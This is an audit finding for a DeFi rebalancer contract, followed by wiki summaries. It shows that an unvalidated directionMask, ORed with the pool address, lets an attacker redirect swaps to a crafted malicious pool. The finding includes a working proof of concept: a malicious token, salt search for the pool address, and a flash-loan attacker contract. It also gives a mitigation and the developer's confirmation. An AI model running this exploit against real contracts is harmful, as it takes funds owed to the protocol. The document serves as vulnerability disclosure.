Attacker can capture VETH-WETH depeg profits through a malicious pool, rendering rebalancer useless if VETH Price > WETH Price
The rebalance function accepts an arbitrary directionMask that is ORed with the legitimate Uniswap pool address, allowing an attacker to substitute a malicious pool. By deploying a malicious token and pool at a crafted address, the attacker can profit from VETH-WETH depeg while the rebalancer makes no profit.
Submitted by rouhsamad, also found by m4k2 and zaevlad
LamboRebalanceOnUniwap::rebalance accepts a directionMask argument, an arbitrary uint256 mask. It “OR”s this mask with uniswapPool and passes it to the OKX Router to perform zeroForOne or oneForZero swaps (using the MSB).
function rebalance(uint256 directionMask, uint256 amountIn, uint256 amountOut) external nonReentrant {
uint256 balanceBefore = IERC20(weth).balanceOf(address(this));
bytes memory data = abi.encode(directionMask, amountIn, amountOut);
IMorpho(morphoVault).flashLoan(weth, amountIn, data);
uint256 balanceAfter = IERC20(weth).balanceOf(address(this));
uint256 profit = balanceAfter - balanceBefore;
require(profit > 0, "No profit made");
}
However, this lets an attacker find a pool address with a malicious token. Attacker needs to find a pool with a malicious coin (discussed in PoC) so that given:
malicious_mask = malicious_pool_address & (~uniswapPool)
we will have:
malicious_mask | uniswapPool = maliciousPool
Which allows attacker to insert the malicious pool here by passing malicious_mask to rebalance function:
// given our malicious mask, _v3Pool is the desired pool
uint256 _v3pool = uint256(uint160(uniswapPool)) | (directionMask);
uint256[] memory pools = new uint256[](1); pools[0] = _v3pool;
Later, the first condition is not met since the directionMask is not equal to (1 << 255). The code goes to the second condition:
if (directionMask == _BUY_MASK) {
_executeBuy(amountIn, pools);
Second condition:
else {
_executeSell(amountIn, pools);
}
_executeSell calls OKXRouter with newly minted VETH (which we received at a discount, if VETH is priced higher than WETH). It then sends VETH to the malicious pool and receives malicious tokens + flash-loaned amount + 1 wei as the profit. the fact that its possible to replace the uniswapPool with our desired malicious pool opens up an attack path which if carefully executed, gives attacker the opportunity to profit from WETH-VETH depeg, leaving Lambo.win no profits at all.
The only difficult part of this attack is that attacker needs to deploy the malicious coin (which is paired with VETH) at a specific address so that their v3 pair address satisfies this condition:
malicious_mask = malicious_pool_address & (~uniswapPool)
malicious_mask | uniswapPool = maliciousPool
Basically the malicious_pool_address must have at least the same bits as the uniswapPool so that we can use a malicious mask on it.
Finding an address to satisfy this is hard (but not impossible, given current hardware advancements). For the sake of this PoC to be runnable, I have assumed the address of uniswapPool is 0x0000000000000000000000000000000000000093, so that we can find a malicious pool address and token easily. The actual difficulty of this attack depends on the actual address of WETH-VETH pool; however, I have used a simpler address, just to show that the attack is possible, given enough time.
After attacker deployed the right contracts, he can use them to profit from WETH-VETH depeges forever (unless new rebalancer is created).
Proof of Concept
If price(VETH) / price(WETH) > 1, this attack is profitable. It costs only transaction gas and leaves nothing for the Lambo.win team.
To execute the PoC, first create the necessary files: https://gist.github.com/CDDose/cf9d31046af661d077c442e437b9a06b
Some interfaces are changed (added new functions) like INonfungiblePositionManager, you can fix errors after creating the files.
Also, most importantly, make sure to change LamboRebalanceOnUniwap::uniswapPool to 0x0000000000000000000000000000000000000093 for the sake of testing:
function initialize(
address _multiSign,
address _vETH,
address _uniswap,
uint24 _fee
) public initializer {
require(_multiSign != address(0), "Invalid _multiSign address");
require(_vETH != address(0), "Invalid _vETH address");
require(_uniswap != address(0), "Invalid _uniswap address");
__Ownable_init(_multiSign);
__ReentrancyGuard_init();
fee = _fee;
veth = _vETH;
uniswapPool = 0x0000000000000000000000000000000000000093;
}
PoC scenario:
-
Price of
WETH-VETHdepegs, soprice(VETH) / price(WETH) > 1. -
Attacker creates a malicious Token (Token.sol) and a deployer (Deployer.sol) which deploys the malicious token using a salt.
-
The attacker finds a token address so that if a
VETH-TOKENUniswap v3 pool is created at a specific fee, the resulting pool address satisfies:ATTACKER_POOL & (~MAIN_POOL) == MASK and MASK | MAIN_POOL == ATTACKER_POOL, attacker usesfindSalt.jsto find the correct salt, given correct parameters. -
After finding the right salt, the attacker deploys the malicious token and creates a VETH-TOKEN Uniswap v3 pair.
-
Now its possible to call
LamboRebalanceOnUniwap::rebalancewithMASKso_v3Poolpoints to the attacker’s pool:uint256 _v3pool = uint256(uint160(uniswapPool)) | (directionMask); uint256[] memory pools = new uint256[](1); pools[0] = _v3pool; -
The attacker deploys
Attacker.sol. ItstakeProfitfunction takes a Morpho flashloan, then callsLamboRebalanceOnUniwap::rebalancewith the flashloaned amount.function takeProfit(uint256 loanAmount) public onlyOwner { //1 wei for profit of rebalancer IMorpho(morphoVault).flashLoan(WETH, loanAmount + 1, new bytes(0)); } -
The
Attacker.sol::onMorphoFlashLoanconfigures and supplies (with taken flash-loan) the malicious token so that it will send the given WETH to rebalancer when its “transfer” function is called uponVETH=>MALICIOUS_COINswap:Configure and supply token://Tell token how much WETH to give back to balancer token.setWETHAmount(assets); //Then transfer required amount Token(WETH).transfer(address(token), assets);Malicious Token::transfer:function transfer(address to, uint amount) public override returns (bool) { ERC20(WETH).transfer(rebalancer, wethAmount); return super.transfer(to, amount); }Malicious Token::setWETHAmount:function setWETHAmount(uint amount) public { wethAmount = amount; }This mechanism allows us to pay the profit + flash-loaned amount of rebalancer.
-
Attacker.sol::onMorphoFlashLoanadds liquidity into the malicious pool before callingLamboRebalanceOnUniwap::rebalance(we need to provide liquidity only for one direction, VETH to our malicious coin, so that means we dont need to provdie extra VETH):INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager .MintParams({ token0: address(token) < vETH ? address(token) : vETH, token1: address(token) < vETH ? vETH : address(token), fee: 3000, // 0.3% pool, for example tickLower: 60, //do not care tickUpper: 6000, //do not care amount0Desired: address(token) < vETH ? 1e24 : 0, amount1Desired: address(token) > vETH ? 1e24 : 0, // If you want to start one-sided with Token amount0Min: 0, amount1Min: 0, recipient: address(this), deadline: block.timestamp }); (uint256 tokenId, uint128 liquidity, , ) = positionManager.mint(params); -
LamboRebalanceOnUniwap::rebalanceis called with the attacker’sdirectionMaskthat results in the malicious pool://Then perform the rebalancing, using our mask and assets - 1 wei rebalancer.rebalance(mask, assets - 1, 0);Then
_executeSellis executed, and VETH is minted at a discount (because ETH price is higher than VETH, and we are minting it at a discount):1 IWETH(weth).withdraw(amountIn); 2 //@audit receive VETH at discount 3 VirtualToken(veth).cashIn{value: amountIn}(amountIn); 4 require(IERC20(veth).approve(address(OKXTokenApprove), amountIn), "Approve failed"); 5 //@audit Swap VETH to malicious coins 6 IDexRouter(OKXRouter).uniswapV3SwapTo(uint256(uint160(address(this))), amountIn, 0, pools);NOTE: it’s on line #6 that balancer receives flash-loaned tokens + 1 wei from maliciousToken::transfer function
-
Malicious pool now received VETH at a discount price.
-
Attacker now withdraws liquidity, receiving VETH and the malicious coins:
//The attack is performed, remove liquidity from our pool
//now our pool contains 1 VETH which we got with a discount
INonfungiblePositionManager.DecreaseLiquidityParams
memory decreaseParams = INonfungiblePositionManager
.DecreaseLiquidityParams({
tokenId: tokenId,
liquidity: liquidity,
amount0Min: 0,
amount1Min: 0,
deadline: block.timestamp
});
(uint256 amount0Removed, uint256 amount1Removed) = positionManager
.decreaseLiquidity(decreaseParams);
INonfungiblePositionManager.CollectParams
memory collectParams = INonfungiblePositionManager.CollectParams({
tokenId: tokenId,
recipient: address(this),
amount0Max: ~uint128(0),
amount1Max: ~uint128(0)
});
//Tell token no need to send anymore WETH To rebalancer
token.setWETHAmount(0);
//Collect tokens from the pool
(uint256 amount0Collected, uint256 amount1Collected) = positionManager
.collect(collectParams);
- Attacker sells VETH on market and receives more WETH than what it flash-loaned
require(
Token(vETH).approve(address(OKXTokenApprove), 99999999999999999998),
"Approve failed"
);
uint256 _v3pool = uint256(uint160(pool));
uint256[] memory pools = new uint256[](1);
pools[0] = _v3pool;
IDexRouter(OKXRouter).uniswapV3SwapTo(
uint256(uint160(address(this))),
99999999999999999998,
0,
pools
);
- Attacker pays the flash-loan and takes rest as profit
//give back loan
Token(WETH).approve(address(morphoVault), assets);
//we are left with more
assert(Token(WETH).balanceOf(address(this)) > 0);
console.log(Token(WETH).balanceOf(address(this)));
In the given PoC at gist, attacker makes 100 extra VETH.
Recommended mitigation steps
Make sure that directionMask is either (1 << 255) or 0.
Shaneson (Lambo.win) confirmed and commented:
Very good finding. Thanks, talented auditors.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The directionMask parameter is not validated and is ORed with the legitimate pool address, allowing an attacker to redirect the swap to an arbitrary pool.
Impact
An attacker could capture the profits from VETH-WETH depeg, leaving the rebalancer with no profit, if they can find a suitable pool address.
What the attacker needed
VETH price > WETH price; Attacker can deploy contracts; Attacker finds a suitable salt for pool address
The fix
The directionMask should be restricted to only the allowed values (1 << 255) or 0.
How it was found
- Wait for VETH price to exceed WETH price (depeg).
- Deploy a malicious token and find a salt so its Uniswap v3 pool address satisfies the bitwise condition.
- Create the VETH-malicious token Uniswap v3 pool.
- Call rebalance with the malicious mask to make it use the attacker's pool.
- Use a flash loan to fund the attack and supply liquidity to the malicious pool.
- After the rebalance, remove liquidity and sell the discounted VETH for profit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The rebalancer is supposed to swap tokens only on one specific Uniswap pool. But it lets the caller supply a number that is combined with the pool address, so the caller can make it point to a different pool they control. The attacker sets up a fake pool and token, tricks the rebalancer into using it, and takes the profit that should have gone to the protocol.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.